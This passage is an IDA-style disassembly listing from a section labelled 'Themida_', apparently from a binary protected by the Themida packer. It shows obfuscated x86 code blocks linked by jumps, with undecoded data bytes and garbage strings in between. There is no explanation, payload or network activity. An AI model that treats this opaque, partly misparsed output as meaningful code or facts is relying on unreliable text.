; ---------------------------------------------------------------------------


loc_566256:				; CODE XREF: Themida_:00560274j
		push	379Ch
		jmp	loc_56F131
; ---------------------------------------------------------------------------


loc_566260:				; CODE XREF: Themida_:00561ECFj
		pop	eax
		jmp	loc_5613A3
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5E9240Ch, 0AD0000BBh, 0E868D831h, 89000049h,	5954240Ch
		dd 2042BA52h, 0D2F70065h, 578FE9h, 48F5B00h, 0F4E95C24h
		dd 5C000061h, 72BD5550h, 564B586Dh, 0C629B4BEh,	3AE9533Fh
		dd 5A00004Ah, 35BBE9h, 241C3300h, 0FFD8E8E9h, 243C89FFh
		dd 0DAB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5662BD:				; CODE XREF: Themida_:005627F7j
		xor	ebx, 11C242E1h
		sub	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5662F5
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 0E9h
		dd 4B19h
; ---------------------------------------------------------------------------


loc_5662D8:				; CODE XREF: Themida_:00566AB6j
		add	esi, 0D5F894Fh
		push	esi
		xor	dword ptr [esp], 81A027Fh
		pop	edx
		xor	edx, 81A027Fh
		pop	esi
		not	edx
		jmp	loc_5628E4
; ---------------------------------------------------------------------------


loc_5662F5:				; CODE XREF: Themida_:005662CCj
		xor	ecx, [esp]
		jmp	loc_56F9E4
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
a31Su		db '3<$1<$éU½',0
		dw 0F700h
		dd 9AA5E9D7h, 0B5CFFFFh, 0EA840FC9h, 81000022h,	4ECh, 24248900h
		dd 4EC81h, 3C890000h, 4BF24h, 0BEE90000h, 83FFFFF4h, 0C38304C4h
		dd 241C8704h, 8124248Bh, 4C5h, 0A946E900h, 74FFFFFFh, 148B0424h
		dd 4C48324h, 8B24048Fh,	0C83B2424h, 876BE99Ch, 148BFFFFh
		dd 5AA6E924h, 2C890000h, 0C8E95024h, 0FF0000D6h, 669D1C77h
		dd 241CD259h, 0C476E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566386:				; CODE XREF: Themida_:005688DAj
		mov	eax, 24h
		push	ebp
		mov	ebp, 14421D21h
		sub	eax, ebp
		jmp	loc_5661EF
; ---------------------------------------------------------------------------
aLHL		db '‹$$hÈl',0
		align 10h
		dd 89243C89h, 69368F7h,	54E90000h, 68FFFF87h, 422699EBh
		dd 83243C8Bh, 0F83104C4h, 0FF2434FFh, 525F2434h, 4EC81h
		dd 24890000h, 1C8EE924h, 34FF0000h, 0B027E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5663DA:				; CODE XREF: Themida_:00567B68j
		push	3CAh
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	ecx
		push	20D4h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_56A686
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815824h, 4, 2AF3E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56640A:				; CODE XREF: Themida_:00563B5Dj
		mov	ebx, 0A15EAFh
		push	edx
		mov	edx, 5B014716h
		shl	edx, 3
		shr	edx, 3
		or	edx, 43856354h
		sub	edx, 5B856757h
		add	ebx, edx
		pop	edx
		push	edi
		mov	edi, 73F655BAh
		dec	edi
		dec	edi
		jmp	loc_5688AA
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 17B6h, 68243489h,	75E0h, 68242489h, 3417h
		dd 0B9240C89h, 4, 59FDE9h, 243C8B00h, 4C481h, 44810000h
		dd 3EA0424h, 2FE97D7Fh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566473:				; CODE XREF: Themida_:00573765j
		mov	[esp], eax
		mov	eax, 2FDE44E2h
		push	ebp
		mov	ebp, 0D021BB22h
		add	eax, ebp
		pop	ebp
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	2255h
		jmp	loc_5671C3
; ---------------------------------------------------------------------------
		dw 42Dh
		dd 87000000h, 895C2404h, 6853243Ch, 41D033A3h, 0E9241C8Bh
		dd 46A8h, 78334C0Dh, 3E0C152h, 8861FA0Dh, 976FE93Dh, 433FFFFh
		dd 24248B24h, 24043166h, 85FFE99Ch, 0EC81FFFFh,	4, 8259E9h
		dd 75CBE00h, 2AE9261Dh,	35000061h, 65BC608Dh, 6EAA3540h
		dd 17357F24h, 684AF044h, 0FCCh,	0B9240C89h, 0B5DB919Bh
		dd 159C801h, 0CF8158C7h, 617B071Bh, 0FFE1D4E9h,	1ABE56FFh
		dd 815C086Fh, 820A56F6h, 12F6813Eh, 1295424h, 0F8015EF0h
		dd 0DE415E2Dh, 4335F4Bh, 24043124h, 0FFFF85E9h,	9F94BDFFh
		dd 0FD0155B9h, 8ED815Fh, 81032249h, 53D279F5h, 34815562h
		dd 0F1791E24h, 1E355876h, 0E976F179h, 0FFFF9071h, 8104EFC1h
		dd 0B41D1DCFh, 40EF8101h, 89E69124h, 0D2F75FFAh, 0FFB6F6E9h
		dd 0E9EA89FFh, 0A609h
; ---------------------------------------------------------------------------


loc_566584:				; CODE XREF: Themida_:0056D565j
		push	edi
		mov	edi, 4
		sub	ebp, edi
		jmp	loc_57027A
; ---------------------------------------------------------------------------
		db 5Ch,	5, 4Bh
		dd 1360017h, 174B2DC8h,	0DF053600h, 591A833Bh, 598568h
		dd 24148900h, 0A92211BAh, 49E28106h, 57558A3Dh,	8E21E9h
		dd 535A5F00h, 1841E9h, 2CB32C00h, 7B23E9FFh, 8F540000h
		dd 0EC832404h, 5CBAE904h, 0E3C10000h, 0CB814302h, 6ABF0ADFh
		dd 169FF381h, 0D8892162h, 0E8C1485Bh, 54EE2507h, 430D0F9Ch
		dd 681ECC15h, 7EECh, 0FFC742E9h, 4C483FFh, 0E904C483h
		dd 0FFFFB264h, 0E95BDA89h, 5306h, 2867BA52h, 4FE93BF8h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566623:				; CODE XREF: Themida_:0057361Ej
		push	ebx
		mov	ebx, 2D782472h
		or	edi, ebx
		pop	ebx
		neg	edi
		shr	edi, 7
		sub	edi, 0D3DA9602h
		and	ebx, edi
		pop	edi
		shl	ebx, 8
		or	ebx, 45700615h
		xor	ebx, 48F27E95h
		dec	ebx
		xor	ebx, 5F5080Fh
		add	eax, ebx
		jmp	loc_5692A0
; ---------------------------------------------------------------------------


loc_566657:				; CODE XREF: Themida_:00563C6Bj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 55h
		dd 1E2B70BDh, 0ED814522h, 3B9F71A3h, 0E58145h, 81594D22h
		dd 3F3631C5h, 5DE90901h, 0FFB45DE9h, 48F59FFh, 54515C24h
		dd 0E9240C8Bh, 8AB5h, 0F7595A51h, 0B476E9D1h, 0BA520000h
		dd 2, 6CE9D501h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5666B3:				; CODE XREF: Themida_:005738DBj
		dec	edx
		jmp	loc_56F294
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 505C241Ch, 0FFF2E5E9h
		dd 0DFE781FFh, 4F5B5F49h, 0D3F7DF87h, 0FFE8F3E9h, 42F681FFh
		dd 168791Bh, 41E4E9F0h,	0FA880000h, 358DE95Bh, 56530000h
		dd 7BD2E9h, 7B3F6800h, 34890000h, 81E68924h, 4C6h, 4C68300h
		dd 31243433h, 34332434h, 0FBF0E924h, 815FFFFFh,	0F735C0EDh
		dd 0AEE95E2Eh
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56672F:				; CODE XREF: Themida_:0056C987j
		xchg	eax, [esp]
		pop	esp
		sub	[esp], eax
		push	5FF6h
		mov	[esp], edi
		push	4591666Bh
		pop	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	eax
		push	ebx
		mov	ebx, 0E7873FAh
		mov	eax, 3066908Ah
		add	eax, ebx
		pop	ebx
		dec	eax
		jmp	loc_565D0A
; ---------------------------------------------------------------------------
		dw 5E58h
		dd 0B951E5D1h, 494F72EFh, 0C8BCD29h, 0B7DAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566772:				; CODE XREF: Themida_:005646CEj
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5614A4
; ---------------------------------------------------------------------------


loc_56678C:				; CODE XREF: Themida_:00561469j
		mov	esi, 655D7C89h
		shl	esi, 4
		push	ebp
		mov	ebp, 71AB4C2Dh
		xor	esi, ebp
		pop	ebp
		neg	esi
		shl	esi, 7
		push	edi
		mov	edi, 49BE8DC8h
		jmp	loc_5653F9
; ---------------------------------------------------------------------------


loc_5667AD:				; CODE XREF: Themida_:00567B0Cj
		shr	ebp, 6
		push	4165h
		jmp	loc_5673F3
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 0FFBC65E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5667C1:				; CODE XREF: Themida_:005705BBj
		pop	eax
		jmp	loc_571626
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 242C8900h, 0E904EC83h, 0D68Dh, 31E4EE81h
		dd 0C5E9270Bh, 81FFFF8Eh, 0A32D69C3h, 9FC38131h, 0E9715729h
		dd 1DFBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edi, 2E004984h
		add	edi, edx
		jmp	loc_56CEA3
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0EBF4E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56681E:				; CODE XREF: Themida_:005714B5j
		sub	edi, 47A96889h
		xor	edi, 8432D61Dh
		mov	ecx, edi
		pop	edi
		shr	ecx, 4
		add	ecx, 0DEEC577Fh
		mov	esi, ecx
		pop	ecx
		xor	ebp, esi
		pop	esi
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		jmp	loc_570F67
; ---------------------------------------------------------------------------
		dd 666AB450h, 0E924B353h, 0FFFF8DBCh
; ---------------------------------------------------------------------------


loc_56685C:				; CODE XREF: Themida_:00566A87j
		mov	[esp], ecx
		jmp	loc_56CC83
; ---------------------------------------------------------------------------
		dd 8704C383h, 8F5C241Ch, 248B2404h, 243CD324h, 5057E99Ch
		dd 24890000h, 24048124h, 4, 5124048Bh, 0C2E9E189h, 5E000057h
		dd 91FE955h, 81680000h,	89000072h, 0AB82404h, 0C11F9F65h
		dd 0F22505E0h, 506E2A4Eh, 994CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5668B1:				; CODE XREF: Themida_:0056E14Aj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_562A24
; ---------------------------------------------------------------------------
		db 1
aS_7		db 'Ãé#',8,0
		align 2
		dw 0C89h
		dd 81595424h, 4C1h, 0A577E900h,	1C8BFFFFh, 0F7F3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5668E6:				; CODE XREF: Themida_:00564DAAj
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebx, [esp]
		push	3421h
		jmp	loc_56BB07
; ---------------------------------------------------------------------------


loc_5668FF:				; CODE XREF: Themida_:00569502j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_568C7E
; ---------------------------------------------------------------------------


loc_566916:				; CODE XREF: Themida_:0056B710j
		mov	ebx, [esp]
		jmp	loc_5623DA
; ---------------------------------------------------------------------------
aBBNs7		db 'Æb+-néÜ7',0
		dd 0BA525F00h, 2, 5618EE81h, 0D601494Ch, 5618C681h, 0F2E9494Ch
		dd 0BFFFFFE0h, 0FFFFFFFFh, 0C8E9F829h, 0E9FFFFEFh, 0FFFF817Dh
		dd 3AE95266h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56695B:				; CODE XREF: Themida_:0056144Cj
		sub	esi, 0FFFFFFFFh
		and	esi, 3B300523h
		add	esi, 40AB67EDh
		add	ebp, esi
		pop	esi
		dec	ebp
		sub	ebp, 348CF61Bh
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 24DA6261h
		add	ebx, eax
		jmp	loc_573D86
; ---------------------------------------------------------------------------
		db 81h
		dd 11723DC7h, 2DC78177h, 311D77F6h, 0CA015FF9h,	57240C8Bh
		dd 0E951E789h, 0FFFFBB94h, 835EF001h, 348904ECh, 1A8C6824h
		dd 815E45DBh, 622936C6h, 0FFF001F6h, 75E92434h,	0BE00004Dh
		dd 4, 348BF201h, 0D210E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5669D2:				; CODE XREF: Themida_:00568CDAj
		push	esi
		mov	esi, 57B36CB1h
		not	esi
		push	edi
		push	6BC73AB4h
		pop	edi
		add	esi, edi
		pop	edi
		sub	esi, 205739B6h
		xor	edx, esi
		pop	esi
		mov	ecx, edx
		pop	edx
		xor	ecx, 5B857A44h
		push	ebx
		mov	ebx, 1
		sub	ecx, ebx
		pop	ebx
		shl	ecx, 4
		add	ecx, 0C9FEEE67h
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_564A1C
; ---------------------------------------------------------------------------


loc_566A18:				; CODE XREF: Themida_:00572D88j
		mov	edi, 287150D5h
		mov	esi, 5095C966h
		jmp	loc_56D105
; ---------------------------------------------------------------------------


loc_566A27:				; CODE XREF: Themida_:005614D8j
		mov	[esp], edx
		mov	edx, 5D14710Dh
		xor	edx, 625871A7h
		not	edx
		and	edx, 7B7B3421h
		jmp	loc_566E53
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFADA5h
; ---------------------------------------------------------------------------


loc_566A48:				; CODE XREF: Themida_:00569460j
		mov	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5602AF
; ---------------------------------------------------------------------------


loc_566A68:				; CODE XREF: Themida_:00564370j
		mov	eax, 0FE71D343h
		add	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 759472C5h
		shl	ebx, 2
		jmp	loc_565618
; ---------------------------------------------------------------------------


loc_566A7E:				; CODE XREF: Themida_:0055ED4Dj
		not	al
		push	edx
		sub	esp, 4
		jmp	loc_56685C
; ---------------------------------------------------------------------------
		dd 0C68E589h, 8900003Eh, 45B9240Ch, 57017171h, 1BFh, 5FF90100h
		dd 9792E9h
		db 0
; ---------------------------------------------------------------------------


loc_566AA9:				; CODE XREF: Themida_:0056026Cj
		inc	esi
		and	esi, 21BC4D2Ah
		xor	esi, 12147A16h
		jmp	loc_5662D8
; ---------------------------------------------------------------------------
		db 1
		dd 0BD5550C1h, 31E911BEh, 15DE889h, 575858C1h, 4BFh, 93C18100h
		dd 8143AB03h, 2F275CC1h, 81F9013Ch, 2F275CE9h, 93E9813Ch
		dd 0E943AB03h, 0A7EFh
; ---------------------------------------------------------------------------


loc_566AF0:				; CODE XREF: Themida_:005632BDj
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 79DE40CCh
		push	ecx
		push	0
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 6AFC1D6Bh
		sub	ecx, ebp
		jmp	loc_563583
; ---------------------------------------------------------------------------


loc_566B22:				; CODE XREF: Themida_:0056D61Cj
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_56D1A7
; ---------------------------------------------------------------------------


loc_566B2F:				; CODE XREF: Themida_:00573511j
		pop	edx
		push	edi
		mov	edi, 0FE75CDFh
		sub	edi, 20764FD5h
		jmp	loc_56DA32
; ---------------------------------------------------------------------------
		dd offset dword_457444+2F624h
		align 2
		dw 0C89h
		dd 2414F724h, 25F66859h, 4890000h, 18206824h, 3C890000h
		dd 0A713E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566B62:				; CODE XREF: Themida_:0056E2F2j
		or	edx, 70CA6BC1h
		not	edx
		shr	edx, 1
		neg	edx
		and	edx, 715E27F8h
		add	edx, 0CEB9D814h
		add	ebp, edx
		pop	edx
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		push	edx
		mov	edx, 1B935CF4h
		sub	edx, 551A4990h
		jmp	loc_572D0D
; ---------------------------------------------------------------------------
		dd 4C581h, 0E9530000h, 0E7Dh, 8904EC83h, 0E589242Ch, 4C581h
		dd 0C5810000h, 4, 0E9242C87h, 0FFFF8186h, 8704C483h, 895C2404h
		dd 5B54241Ch, 50D368h, 24148900h, 4EC81h, 4890000h, 0BE685724h
		dd 0E9172D45h, 0FFFFCCE4h, 8B242C87h, 0C892424h, 7ECFE924h
		dd 0E955FFFFh, 0C862h, 31240433h, 4332404h, 24248B24h
		dd 51DCEB80h, 0E1800FB1h, 1059E93Fh, 8B5C0000h,	0C4832434h
		dd 0EF814F04h, 17224B4Dh, 235FEB81h, 0FB011471h, 8904EC83h
		dd 5FB82404h, 81147123h, 52740FC3h, 81C3012Eh, 52740FEBh
		dd 3C8B582Eh, 8B545624h, 0C4812434h, 4,	4C681h,	0C6830000h
		dd 24348704h, 0B920E95Ch, 0E9520000h, 4096h, 89240489h
		dd 0E08950E0h, 0B5BBE9h, 0DF295F00h, 4C49E9h, 80E9D000h
		dd 0C800F3E9h, 5EBAE9h,	4EC8300h, 0E9240489h, 0FFFFD2C3h
		dd 240C8B66h, 71BE68h, 243C8900h, 0C781E789h, 4, 4EC81h
		dd 14890000h, 0A510E924h, 56520000h, 4EC81h, 1C890000h
		dd 4BB24h, 0DE890000h, 0FFD418E9h, 5FFB89FFh, 1C8BDD01h
		dd 4C48324h, 14DCF581h,	0EB010013h, 5D2434FFh, 193D68h
		dd 24348900h, 0BB535E54h, 4, 0FF87D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566D09:				; CODE XREF: Themida_:0055F809j
		mov	[esp], ecx
		mov	ecx, 33A80483h
		and	ebp, ecx
		pop	ecx
		add	ebp, 24FD2887h
		add	esi, 51D93EFCh
		add	esi, 59A049EAh
		sub	esi, ebp
		sub	esi, 59A049EAh
		jmp	loc_570085
; ---------------------------------------------------------------------------


loc_566D33:				; CODE XREF: Themida_:005707BFj
		or	ecx, 9BF76FAh
		xor	ecx, 2ED640E0h
		or	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 44CC6423h
		not	esi
		push	eax
		jmp	loc_56D309
; ---------------------------------------------------------------------------
		dd 4BBh, 245C0100h, 0BB12E904h,	0E955FFFFh, 2EE0h, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 4BD242Ch, 81000000h, 930A86E9h
		dd 1BEEE97Bh, 0C8310000h, 555A5452h, 4BDh, 5DEA0100h, 6B9668h
		dd 0BD4EE900h, 3059FFFFh, 37E959EAh
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566DA7:				; CODE XREF: Themida_:00560937j
		add	esp, 2
		add	dh, 11h
		push	eax
		jmp	loc_567A0F
; ---------------------------------------------------------------------------


loc_566DB3:				; CODE XREF: Themida_:0056B160j
		mov	[esp], eax
		push	6883h
		mov	[esp], ebp
		push	3Fh
		jmp	loc_56ADAA
; ---------------------------------------------------------------------------


loc_566DC8:				; CODE XREF: Themida_:005629BDj
		add	bl, 0F2h
		add	bl, al
		sub	bl, 0F2h
		push	ax
		mov	al, 0E3h
		jmp	loc_573383
; ---------------------------------------------------------------------------


loc_566DD9:				; CODE XREF: Themida_:00565685j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		push	3D2516A3h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56F2A8
; ---------------------------------------------------------------------------
		db 89h
		dd 8DBF243Ch, 8113DB79h, 0AF033BE7h, 0C1E95324h, 59FFFFA2h
		dd 3B4BBF57h, 0EF816B64h, 5E403A49h, 2D08BD55h,	0EF0110ABh
		dd 2EEF815Dh, 2100AFD3h, 32E95FF9h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566E53:				; CODE XREF: Themida_:00566A3Dj
		xor	edx, 9549B0FFh
		sub	eax, edx
		pop	edx
		add	ecx, eax
		pop	eax
		push	esi
		jmp	loc_5678F2
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 81E28952h, 4C2h, 4EA8100h, 52000000h, 666AE9h, 95E95300h
		dd 0FFFFFF8Ch, 0FF042474h, 515B2434h, 21E9E189h, 88000052h
		dd 48B66E1h, 0D0DFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566E9E:				; CODE XREF: Themida_:00560D04j
		xor	[edi+24h], eax
		jmp	loc_56D613
; ---------------------------------------------------------------------------
		dw 0DA09h
		dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0B3E90000h, 210000C7h
		dd 34FF1C4Fh, 0AB22E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566ECA:				; CODE XREF: Themida_:00562EF4j
		mov	[esp], edi
		mov	edi, 2E743351h
		mov	ecx, 2E743379h
		push	esi
		mov	esi, 0FAF07BDh
		sub	esi, 0DEE3ACADh
		sub	ecx, esi
		pop	esi
		sub	ecx, edi
		push	ebp
		mov	ebp, 738A3189h
		neg	ebp
		jmp	loc_568463
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0FFC213E9h, 53665BFFh, 0FA3025B7h, 8026E9h, 56EFD100h
		dd 0D54250BEh, 5EF7316Ch, 0FFBDC8E9h, 4B9FFh, 0C2810000h
		dd 3DBA0078h, 0EA81CA29h, 3DBA0078h, 24143359h,	33241431h
		dd 0AEE92414h, 25000084h, 1E0E4986h, 0FFE4DDE9h, 243C89FFh
		dd 243C8B54h, 4C481h, 0EC810000h, 4, 0BD242C89h, 4, 551EC781h
		dd 0EE92EAFh, 52FFFFB6h, 6C0AE9h, 0BE565000h, 28113666h
		dd 6061C681h, 0CE81744Fh, 4AF0536Dh, 0D7EBF681h, 0F089DEF0h
		dd 0FFC3015Eh, 83582434h, 1C8704C4h, 5A12E924h,	2C890000h
		dd 20E36824h, 8F540000h, 79E92404h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566FAF:				; CODE XREF: Themida_:00573378j
		push	esi
		jmp	loc_572D87
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 37h
		dd 80E3CF80h, 82E931C7h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566FC3:				; CODE XREF: Themida_:0056D829j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
aZSg		db '‡<$ég ',0
		dw 0BA00h
		dd 6CF328D1h, 15AD529h,	3AF4E9F5h, 248B0000h, 59CE0124h
		dd 46F2E9h, 0C5805B00h,	59EA3016h, 148BD328h, 4C48124h
		dd 50000000h, 0F480B9B4h, 69C38008h, 28ACEB80h,	0ACC380E3h
		dd 5869EB80h, 66C0B60Fh, 6824148Bh, 1327h, 0E9241489h
		dd 34F2h
; ---------------------------------------------------------------------------


loc_56703C:				; CODE XREF: Themida_:005605F4j
		sub	ecx, eax
		jmp	loc_56A3E1
; ---------------------------------------------------------------------------


loc_567043:				; CODE XREF: Themida_:00565C2Bj
		add	esi, 27536A1Eh
		jmp	loc_567226
; ---------------------------------------------------------------------------
		dw 0C129h
		dd 0C3BA5258h, 0E9B0F9C6h, 0C6E5h, 4C5835Fh, 135AE9h, 2434FF00h
		dd 0FF81CAE9h, 5EF701FFh, 87ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_567075:				; CODE XREF: Themida_:00573C6Cj
		xor	[esp], edx
		jmp	loc_563568
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 87000000h, 895C2434h, 0EC83240Ch, 241C8904h,	4BBh, 8BD98900h
		dd 0C481241Ch, 4, 0C8BCF01h, 4C48324h, 31243C33h, 3C33243Ch
		dd 0C4815C24h, 4, 0C9ACE9h, 53E98100h, 916A1C7h, 0C78159CFh
		dd 246822A9h, 424AC781h, 0FB8993C8h, 46EB815Fh,	81020E64h
		dd 0EC4D11C6h, 0A02AE929h, 6859FFFFh, 57F42A6Fh, 4CE9E9h
		dd 55575800h, 6CD0BA52h, 0E9562C7Ch, 0B661h, 0F8E95954h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567107:				; CODE XREF: Themida_:00572134j
		sub	ebp, edi
		jmp	loc_56573D
; ---------------------------------------------------------------------------
		dw 0C800h
		dd 2CE82859h, 4EC8143h,	89000000h, 0ADB22414h, 1AE9DAF6h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567127:				; CODE XREF: Themida_:0056F734j
		push	esi
		mov	esi, 683A5477h
		jmp	loc_5635E6
; ---------------------------------------------------------------------------
		dw 9BB3h
		dd 4FE91CB5h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56713B:				; CODE XREF: Themida_:00562B88j
		pop	ecx
		jmp	loc_563B8B
; ---------------------------------------------------------------------------


loc_567141:				; CODE XREF: Themida_:0056EE16j
		add	esi, 7661304Fh
		jmp	loc_56E95E
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0A70Bh
; ---------------------------------------------------------------------------


loc_567154:				; CODE XREF: Themida_:00562954j
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5682A1
; ---------------------------------------------------------------------------
		dd 3DA2B850h, 0B6817F1h, 5967BA3Bh, 0C3E9C101h,	66FFFF95h
		dd 68240C8Bh, 28F7h, 54242C89h,	0FFA1D1E9h, 89C180FFh
		dd 0FFFAFCE9h, 240C89FFh, 9E3EE9h, 48B6600h, 4EC8324h
		dd 54240489h, 8124048Bh, 4C4h, 51525100h, 71BDE9h, 0E9E58900h
		dd 6055h, 55E9C104h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5671C3:				; CODE XREF: Themida_:00566491j
		mov	[esp], ebp
		jmp	loc_56A3A5
; ---------------------------------------------------------------------------
		db 59h
		dd 2C8BE801h, 4C48324h,	3455E9h, 52C50100h, 993914BAh
		dd 94EDE954h, 0D7680000h, 89000046h, 0E389241Ch, 4C381h
		dd 0E9510000h, 0FFFF8BDEh, 3C8BF831h, 4C48124h,	57000000h
		dd 81E18951h, 4C1h, 0E1BE5600h,	0C17AFF6Eh, 0F68105E6h
		dd 759E248Bh, 0B8D8E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567226:				; CODE XREF: Themida_:00567049j
		push	ebx
		jmp	loc_56E212
; ---------------------------------------------------------------------------
		dd 0BF04C781h, 0ED81BF5Fh, 0C1D207Bh, 0C581FD01h, 0C1D207Bh
		dd 2B8505Fh, 0E9000000h, 45A4h,	4AFEEB81h, 0C381410Fh
		dd 792503E1h, 0F707E3C1h, 9FD6E9D3h, 0C681FFFFh, 4, 8704C683h
		dd 0E95C2434h, 0B97Fh, 0BB53E289h, 2AE96772h, 3A2BE9h
		dd 4EC8100h, 89000000h,	0D68241Ch, 89000003h, 4832424h
		dd 1C8B0424h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 4C3815Ch, 83000000h,	836804EBh, 89000047h, 74FF241Ch
		dd 1C8B0424h, 4C48324h,	0E924048Fh, 5D7Bh, 3A6CEA81h, 0EA296BA7h
		dd 3A6CC281h, 34FF6BA7h, 0C4835D24h, 8132FF04h,	39402404h
		dd 2D5809BDh, 9BD3940h,	0FF78D6E9h, 0E9D5F7FFh,	0FFFFB6F5h
		dd 241C895Ch, 2434FF54h, 4C4815Bh, 55000000h, 4BA52h, 0D5890000h
		dd 5DEB015Ah, 4EC81h, 4890000h,	0AD52E924h, 0E2300000h
		dd 0DCCA8058h, 11A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_567331:				; CODE XREF: Themida_:00562CF0j
		sub	eax, 528F78B8h
		jmp	loc_5687A8
; ---------------------------------------------------------------------------
		db 52h
		dd 0EBDE9h, 5AD13100h, 0FFD123E9h, 0E3F181FFh, 1FFFFE8h
		dd 0EF8159CFh, 4, 0E9243C87h, 66BBh, 3E6C68h, 0A8C7E900h
		dd 0E9510000h, 802Ah, 0E9240C87h, 0A1ADh, 4BAh,	23BA5200h
		dd 811F497Ah, 397579C2h, 0EAC14271h, 97C28106h,	0C103705Dh
		dd 0F6E906E2h, 81FFFFECh, 4CE453EFh, 0FFF90100h, 49E92434h
		dd 31FFFFBDh, 815558C5h, 2B62242Ch, 0E95E6E2Dh,	0FFFFF562h
		dd 0F0E95651h, 0F7FFFF82h, 48E205D0h, 0D5353A66h, 0E90F966Fh
		dd 75A4h
; ---------------------------------------------------------------------------


